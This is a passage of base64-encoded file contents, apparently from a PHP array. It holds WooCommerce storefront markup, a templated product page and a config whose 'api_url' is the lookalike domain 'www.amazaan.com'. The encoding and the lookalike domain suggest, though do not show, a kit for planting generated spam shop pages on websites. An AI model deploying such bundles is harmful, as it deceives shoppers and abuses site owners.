cXVlcnktbWFnbmlmaWMtcG9wdXAtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0ncG9ydG8tdGhlbWUtanMtZXh0cmEnPg0KICAgIHZhciBqc19wb3J0b192YXJzID0gew0KICAgICAgICAicnRsIjogIiIsDQogICAgICAgICJ0aGVtZV91cmwiOiAiXC93cC1jb250ZW50XC90aGVtZXNcL3BvcnRvIiwNCiAgICAgICAgImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwNCiAgICAgICAgImNoYW5nZV9sb2dvIjogIjEiLA0KICAgICAgICAiY29udGFpbmVyX3dpZHRoIjogIjExNDAiLA0KICAgICAgICAiZ3JpZF9ndXR0ZXJfd2lkdGgiOiAiMjAiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyIjogIjEiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX3RhYmxldCI6ICIxIiwNCiAgICAgICAgInNob3dfc3RpY2t5X2hlYWRlcl9tb2JpbGUiOiAiMSIsDQogICAgICAgICJhamF4X2xvYWRlcl91cmwiOiAiXC93cC1jb250ZW50XC90aGVtZXNcL3BvcnRvXC9pbWFnZXNcL2FqYXgtbG9hZGVyQDJ4LmdpZiIsDQogICAgICAgICJjYXRlZ29yeV9hamF4IjogIiIsDQogICAgICAgICJjb21wYXJlX3BvcHVwIjogIiIsDQogICAgICAgICJjb21wYXJlX3BvcHVwX3RpdGxlIjogIiIsDQogICAgICAgICJwcmRjdGZsdHJfYWpheCI6ICIiLA0KICAgICAgICAic2xpZGVyX2xvb3AiOiAiMSIsDQogICAgICAgICJzbGlkZXJfYXV0b3BsYXkiOiAiMSIsDQogICAgICAgICJzbGlkZXJfYXV0b2hlaWdodCI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9zcGVlZCI6ICI1MDAwIiwNCiAgICAgICAgInNsaWRlcl9uYXYiOiAiIiwNCiAgICAgICAgInNsaWRlcl9uYXZfaG92ZXIiOiAiMSIsDQogICAgICAgICJzbGlkZXJfbWFyZ2luIjogIiIsDQogICAgICAgICJzbGlkZXJfZG90cyI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hbmltYXRlaW4iOiAiIiwNCiAgICAgICAgInNsaWRlcl9hbmltYXRlb3V0IjogIiIsDQogICAgICAgICJwcm9kdWN0X3RodW1ic19jb3VudCI6ICI0IiwNCiAgICAgICAgInByb2R1Y3Rfem9vbSI6ICIxIiwNCiAgICAgICAgInByb2R1Y3Rfem9vbV9tb2JpbGUiOiAiMSIsDQogICAgICAgICJwcm9kdWN0X2ltYWdlX3BvcHVwIjogIjEiLA0KICAgICAgICAiem9vbV90eXBlIjogImlubmVyIiwNCiAgICAgICAgInpvb21fc2Nyb2xsIjogIjEiLA0KICAgICAgICAiem9vbV9sZW5zX3NpemUiOiAiMjAwIiwNCiAgICAgICAgInpvb21fbGVuc19zaGFwZSI6ICJzcXVhcmUiLA0KICAgICAgICAiem9vbV9jb250YWluX2xlbnMiOiAiMSIsDQogICAgICAgICJ6b29tX2xlbnNfYm9yZGVyIjogIjEiLA0KICAgICAgICAiem9vbV9ib3JkZXJfY29sb3IiOiAiIzg4ODg4OCIsDQogICAgICAgICJ6b29tX2JvcmRlciI6ICIwIiwNCiAgICAgICAgInNjcmVlbl9sZyI6ICIxMTYwIiwNCiAgICAgICAgIm1mcF9jb3VudGVyIjogIiVjdXJyJSBvZiAldG90YWwlIiwNCiAgICAgICAgIm1mcF9pbWdfZXJyb3IiOiAiPGEgaHJlZj1cIiV1cmwlXCI+VGhlIGltYWdlPFwvYT4gY291bGQgbm90IGJlIGxvYWRlZC4iLA0KICAgICAgICAibWZwX2FqYXhfZXJyb3IiOiAiPGEgaHJlZj1cIiV1cmwlXCI+VGhlIGNvbnRlbnQ8XC9hPiBjb3VsZCBub3QgYmUgbG9hZGVkLiIsDQogICAgICAgICJwb3B1cF9jbG9zZSI6ICJDbG9zZSIsDQogICAgICAgICJwb3B1cF9wcmV2IjogIlByZXZpb3VzIiwNCiAgICAgICAgInBvcHVwX25leHQiOiAiTmV4dCIsDQogICAgICAgICJyZXF1ZXN0X2Vycm9yIjogIlRoZSByZXF1ZXN0ZWQgY29udGVudCBjYW5ub3QgYmUgbG9hZGVkLjxiclwvPlBsZWFzZSB0cnkgYWdhaW4gbGF0ZXIuIiwNCiAgICAgICAgImxvYWRlcl90ZXh0IjogIkxvYWRpbmcuLi4iLA0KICAgICAgICAic3VibWVudV9iYWNrIjogIkJhY2siLA0KICAgICAgICAicG9ydG9fbm9uY2UiOiAiZDliNDBjNjYxYyIsDQogICAgICAgICJ1c2Vfc2tlbGV0b25fc2NyZWVuIjogWyJzaG9wIiwgInByb2R1Y3QiLCAicXVpY2t2aWV3Il0sDQogICAgICAgICJ1c2VyX2VkaXRfcGFnZXMiOiAiIiwNCiAgICAgICAgInF1aWNrX2FjY2VzcyI6ICJDbGljayB0byBlZGl0IHRoaXMgZWxlbWVudC4iLA0KICAgICAgICAiZ290b190eXBlIjogIkdvIFRvIHRoZSBUeXBlIEJ1aWxkZXIuIiwNCiAgICAgICAgImxlZ2FjeV9tb2RlIjogIjEiDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy90aGVtZS5qcz92ZXI9Ni43LjInIGlkPSdwb3J0by10aGVtZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGFzeW5jPSJhc3luYyIgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvdGhlbWUtYXN5bmMuanM/dmVyPTYuNy4yJyBpZD0ncG9ydG8tdGhlbWUtYXN5bmMtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy93b29jb21tZXJjZS10aGVtZS5qcz92ZXI9Ni43LjInIGlkPSdwb3J0by13b29jb21tZXJjZS10aGVtZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9jb3JlLm1pbi5qcz92ZXI9MS4xMy4yJyBpZD0nanF1ZXJ5LXVpLWNvcmUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvbW91c2UubWluLmpzP3Zlcj0xLjEzLjInIGlkPSdqcXVlcnktdWktbW91c2UtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvc2xpZGVyLm1pbi5qcz92ZXI9MS4xMy4yJyBpZD0nanF1ZXJ5LXVpLXNsaWRlci1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanF1ZXJ5LXVpLXRvdWNoLXB1bmNoL2pxdWVyeS11aS10b3VjaC1wdW5jaC5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtanF1ZXJ5LXVpLXRvdWNocHVuY2gtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2FjY291bnRpbmcvYWNjb3VudGluZy5taW4uanM/dmVyPTAuNC4yJw0KICAgICAgICBpZD0nYWNjb3VudGluZy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3Yy1wcmljZS1zbGlkZXItanMtZXh0cmEnPg0KICAgIHZhciB3b29jb21tZXJjZV9wcmljZV9zbGlkZXJfcGFyYW1zID0gew0KICAgICAgICAiY3VycmVuY3lfZm9ybWF0X251bV9kZWNpbWFscyI6ICIwIiwNCiAgICAgICAgImN1cnJlbmN5X2Zvcm1hdF9zeW1ib2wiOiAiJCIsDQogICAgICAgICJjdXJyZW5jeV9mb3JtYXRfZGVjaW1hbF9zZXAiOiAiLiIsDQogICAgICAgICJjdXJyZW5jeV9mb3JtYXRfdGhvdXNhbmRfc2VwIjogIiwiLA0KICAgICAgICAiY3VycmVuY3lfZm9ybWF0IjogIiVzJXYiDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL3ByaWNlLXNsaWRlci5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtcHJpY2Utc2xpZGVyLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvanMvd2VicGFjay5ydW50aW1lLm1pbi5qcz92ZXI9My4xMC4yJw0KICAgICAgICBpZD0nZWxlbWVudG9yLXdlYnBhY2stcnVudGltZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2pzL2Zyb250ZW5kLW1vZHVsZXMubWluLmpzP3Zlcj0zLjEwLjInDQogICAgICAgIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtbW9kdWxlcy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi93YXlwb2ludHMvd2F5cG9pbnRzLm1pbi5qcz92ZXI9NC4wLjInDQogICAgICAgIGlkPSdlbGVtZW50b3Itd2F5cG9pbnRzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J2VsZW1lbnRvci1mcm9udGVuZC1qcy1iZWZvcmUnPg0KICAgIHZhciBlbGVtZW50b3JGcm9udGVuZENvbmZpZyA9IHsNCiAgICAgICAgImVudmlyb25tZW50TW9kZSI6IHsiZWRpdCI6IGZhbHNlLCAid3BQcmV2aWV3IjogZmFsc2UsICJpc1NjcmlwdERlYnVnIjogZmFsc2V9LA0KICAgICAgICAiaTE4biI6IHsNCiAgICAgICAgICAgICJzaGFyZU9uRmFjZWJvb2siOiAiU2hhcmUgb24gRmFjZWJvb2siLA0KICAgICAgICAgICAgInNoYXJlT25Ud2l0dGVyIjogIlNoYXJlIG9uIFR3aXR0ZXIiLA0KICAgICAgICAgICAgInBpbkl0IjogIlBpbiBpdCIsDQogICAgICAgICAgICAiZG93bmxvYWQiOiAiRG93bmxvYWQiLA0KICAgICAgICAgICAgImRvd25sb2FkSW1hZ2UiOiAiRG93bmxvYWQgaW1hZ2UiLA0KICAgICAgICAgICAgImZ1bGxzY3JlZW4iOiAiRnVsbHNjcmVlbiIsDQogICAgICAgICAgICAiem9vbSI6ICJab29tIiwNCiAgICAgICAgICAgICJzaGFyZSI6ICJTaGFyZSIsDQogICAgICAgICAgICAicGxheVZpZGVvIjogIlBsYXkgVmlkZW8iLA0KICAgICAgICAgICAgInByZXZpb3VzIjogIlByZXZpb3VzIiwNCiAgICAgICAgICAgICJuZXh0IjogIk5leHQiLA0KICAgICAgICAgICAgImNsb3NlIjogIkNsb3NlIg0KICAgICAgICB9LA0KICAgICAgICAiaXNfcnRsIjogZmFsc2UsDQogICAgICAgICJicmVha3BvaW50cyI6IHsieHMiOiAwLCAic20iOiA0ODAsICJtZCI6IDc2OCwgImxnIjogMTAyNSwgInhsIjogMTQ0MCwgInh4bCI6IDE2MDB9LA0KICAgICAgICAicmVzcG9uc2l2ZSI6IHsNCiAgICAgICAgICAgICJicmVha3BvaW50cyI6IHsNCiAgICAgICAgICAgICAgICAibW9iaWxlIjogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiTW9iaWxlIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogNzY3LA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDc2NywNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IHRydWUNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJtb2JpbGVfZXh0cmEiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJNb2JpbGUgRXh0cmEiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiA4ODAsDQogICAgICAgICAgICAgICAgICAgICJkZWZhdWx0X3ZhbHVlIjogODgwLA0KICAgICAgICAgICAgICAgICAgICAiZGlyZWN0aW9uIjogIm1heCIsDQogICAgICAgICAgICAgICAgICAgICJpc19lbmFibGVkIjogZmFsc2UNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJ0YWJsZXQiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJUYWJsZXQiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiA5OTEsDQogICAgICAgICAgICAgICAgICAgICJkZWZhdWx0X3ZhbHVlIjogMTAyNCwNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IHRydWUNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJ0YWJsZXRfZXh0cmEiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJUYWJsZXQgRXh0cmEiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiAxMjAwLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDEyMDAsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiBmYWxzZQ0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgImxhcHRvcCI6IHsNCiAgICAgICAgICAgICAgICAgICAgImxhYmVsIjogIkxhcHRvcCIsDQogICAgICAgICAgICAgICAgICAgICJ2YWx1ZSI6IDEzNjYsDQogICAgICAgICAgICAgICAgICAgICJkZWZhdWx0X3ZhbHVlIjogMTM2NiwNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IGZhbHNlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAid2lkZXNjcmVlbiI6IHsNCiAgICAgICAgICAgICAgICAgICAgImxhYmVsIjogIldpZGVzY3JlZW4iLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiAyNDAwLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDI0MDAsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWluIiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiBmYWxzZQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSwNCiAgICAgICAgInZlcnNpb24iOiAiMy4xMC4yIiwNCiAgICAgICAgImlzX3N0YXRpYyI6IGZhbHNlLA0KICAgICAgICAiZXhwZXJpbWVudGFsRmVhdHVyZXMiOiB7DQogICAgICAgICAgICAiZV9kb21fb3B0aW1pemF0aW9uIjogdHJ1ZSwNCiAgICAgICAgICAgICJlX29wdGltaXplZF9hc3NldHNfbG9hZGluZyI6IHRydWUsDQogICAgICAgICAgICAiZV9vcHRpbWl6ZWRfY3NzX2xvYWRpbmciOiB0cnVlLA0KICAgICAgICAgICAgImExMXlfaW1wcm92ZW1lbnRzIjogdHJ1ZSwNCiAgICAgICAgICAgICJhZGRpdGlvbmFsX2N1c3RvbV9icmVha3BvaW50cyI6IHRydWUsDQogICAgICAgICAgICAiZV9oaWRkZW5fd29yZHByZXNzX3dpZGdldHMiOiB0cnVlLA0KICAgICAgICAgICAgImxhbmRpbmctcGFnZXMiOiB0cnVlLA0KICAgICAgICAgICAgImtpdC1lbGVtZW50cy1kZWZhdWx0cyI6IHRydWUNCiAgICAgICAgfSwNCiAgICAgICAgInVybHMiOiB7ImFzc2V0cyI6ICJcL3dwLWNvbnRlbnRcL3BsdWdpbnNcL2VsZW1lbnRvclwvYXNzZXRzXC8ifSwNCiAgICAgICAgInNldHRpbmdzIjogeyJlZGl0b3JQcmVmZXJlbmNlcyI6IFtdfSwNCiAgICAgICAgImtpdCI6IHsNCiAgICAgICAgICAgICJ2aWV3cG9ydF90YWJsZXQiOiAiOTkxIiwNCiAgICAgICAgICAgICJhY3RpdmVfYnJlYWtwb2ludHMiOiBbInZpZXdwb3J0X21vYmlsZSIsICJ2aWV3cG9ydF90YWJsZXQiXSwNCiAgICAgICAgICAgICJnbG9iYWxfaW1hZ2VfbGlnaHRib3giOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF9lbmFibGVfY291bnRlciI6ICJ5ZXMiLA0KICAgICAgICAgICAgImxpZ2h0Ym94X2VuYWJsZV9mdWxsc2NyZWVuIjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfZW5hYmxlX3pvb20iOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF9lbmFibGVfc2hhcmUiOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF90aXRsZV9zcmMiOiAidGl0bGUiLA0KICAgICAgICAgICAgImxpZ2h0Ym94X2Rlc2NyaXB0aW9uX3NyYyI6ICJkZXNjcmlwdGlvbiINCiAgICAgICAgfSwNCiAgICAgICAgInBvc3QiOiB7DQogICAgICAgICAgICAiaWQiOiAwLA0KICAgICAgICAgICAgInRpdGxlIjogIlByb2R1Y3RzICYjODIxMTsgQW50aXF1ZXMsVmludGFnZSBKYXBhbmVzZSBXb29kZW4gSGFubnlhIE1hc2sgSmFwYW4gV29vZCBIb3JuZWQgRGVtb24gT25pIiwNCiAgICAgICAgICAgICJleGNlcnB0IjogIjxwPlRoaXMgaXMgd2hlcmUgeW91IGNhbiBicm93c2UgcHJvZHVjdHMgaW4gdGhpcyBzdG9yZS48XC9wPlxuIg0KICAgICAgICB9DQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvZWxlbWVudG9yL2Fzc2V0cy9qcy9mcm9udGVuZC5taW4uanM/dmVyPTMuMTAuMicgaWQ9J2VsZW1lbnRvci1mcm9udGVuZC1qcyc+PC9zY3JpcHQ+DQo8IS0tIFdvb0NvbW1lcmNlIEphdmFTY3JpcHQgLS0+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgalF1ZXJ5KGZ1bmN0aW9uICgkKSB7DQogICAgICAgIGpRdWVyeShkb2N1bWVudC5ib2R5KS50cmlnZ2VyKCd3Y19mcmFnbWVudF9yZWZyZXNoJykNCiAgICB9KTsNCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg==', 'config.json' => 'ew0KICAiYXBpX3VybCIgOiAid3d3LmFtYXphYW4uY29tIiwNCiAgImFwaV9zcmMiIDogImViYXkiLA0KICAiYXBpX2V4dHJhIiA6ICJ1cyIsDQogICJuZ2lueCIgOiAiMCIsDQogICJkb21haW5faWQiIDogIjIiLA0KICAiYXBwX2lkIiA6ICJ7YXBwfSINCn0NCg==', 'detail.html' => 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbi1VUyIgcHJlZml4PSJvZzogaHR0cDovL29ncC5tZS9ucyMgZmI6IGh0dHA6Ly9vZ3AubWUvbnMvZmIjIj4NCjxoZWFkPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ii8+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtaW5pbXVtLXNjYWxlPTEiLz4NCiAgICB7e2tleXdvcmRzfX0NCiAgICB7e2Rlc2NyaXB0aW9ufX0NCiAgICB7e2RldGFpbF9qc29uX2lkfX0NCiAgICB7e3RpdGxlfX0NCiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+DQogICAgPHN0eWxlPg0KICAgICAgICBpbWcud3Atc21pbGV5LA0KICAgICAgICBpbWcuZW1vamkgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGhlaWdodDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB3aWR0aDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBtYXJnaW46IDAgMC4wN2VtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3dwLWJsb2NrLWxpYnJhcnktY3NzJyBocmVmPScvd3AtaW5jbHVkZXMvY3NzL2Rpc3QvYmxvY2stbGlicmFyeS9zdHlsZS5taW4uY3NzP3Zlcj02LjEuNScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSd3cC1ibG9jay1saWJyYXJ5LXRoZW1lLWlubGluZS1jc3MnPg0KICAgICAgICAud3AtYmxvY2stYXVkaW8gZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWF1ZGlvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1hdWRpbyB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1jb2RlIHsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICBmb250LWZhbWlseTogTWVubG8sIENvbnNvbGFzLCBtb25hY28sIG1vbm9zcGFjZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IC44ZW0gMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stZW1iZWQgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWVtYmVkIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1lbWJlZCB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5ibG9ja3MtZ2FsbGVyeS1jYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAuYmxvY2tzLWdhbGxlcnktY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLWltYWdlIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay1pbWFnZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2staW1hZ2Ugew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcHVsbHF1b3RlIHsNCiAgICAgICAgICAgIGJvcmRlci10b3A6IDRweCBzb2xpZDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDRweCBzb2xpZDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNzVlbTsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3INCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGVfX2NpdGF0aW9uLCAud3AtYmxvY2stcHVsbHF1b3RlIGNpdGUsIC53cC1ibG9jay1wdWxscXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNWVtOw0KICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUgew0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IC4yNWVtIHNvbGlkOw0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMS43NWVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZSBjaXRlLCAud3AtYmxvY2stcXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1ZW07DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1yaWdodCB7DQogICAgICAgICAgICBib3JkZXItbGVmdDogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yaWdodDogLjI1ZW0gc29saWQ7DQogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7DQogICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1jZW50ZXIgew0KICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUuaXMtbGFyZ2UsIC53cC1ibG9jay1xdW90ZS5pcy1zdHlsZS1sYXJnZSwgLndwLWJsb2NrLXF1b3RlLmlzLXN0eWxlLXBsYWluIHsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlYXJjaCAud3AtYmxvY2stc2VhcmNoX19sYWJlbCB7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VhcmNoX19idXR0b24gew0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2NjYzsNCiAgICAgICAgICAgIHBhZGRpbmc6IC4zNzVlbSAuNjI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIDp3aGVyZSgud3AtYmxvY2stZ3JvdXAuaGFzLWJhY2tncm91bmQpIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEuMjVlbSAyLjM3NWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VwYXJhdG9yLmhhcy1jc3Mtb3BhY2l0eSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvciB7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQ7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0bzsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV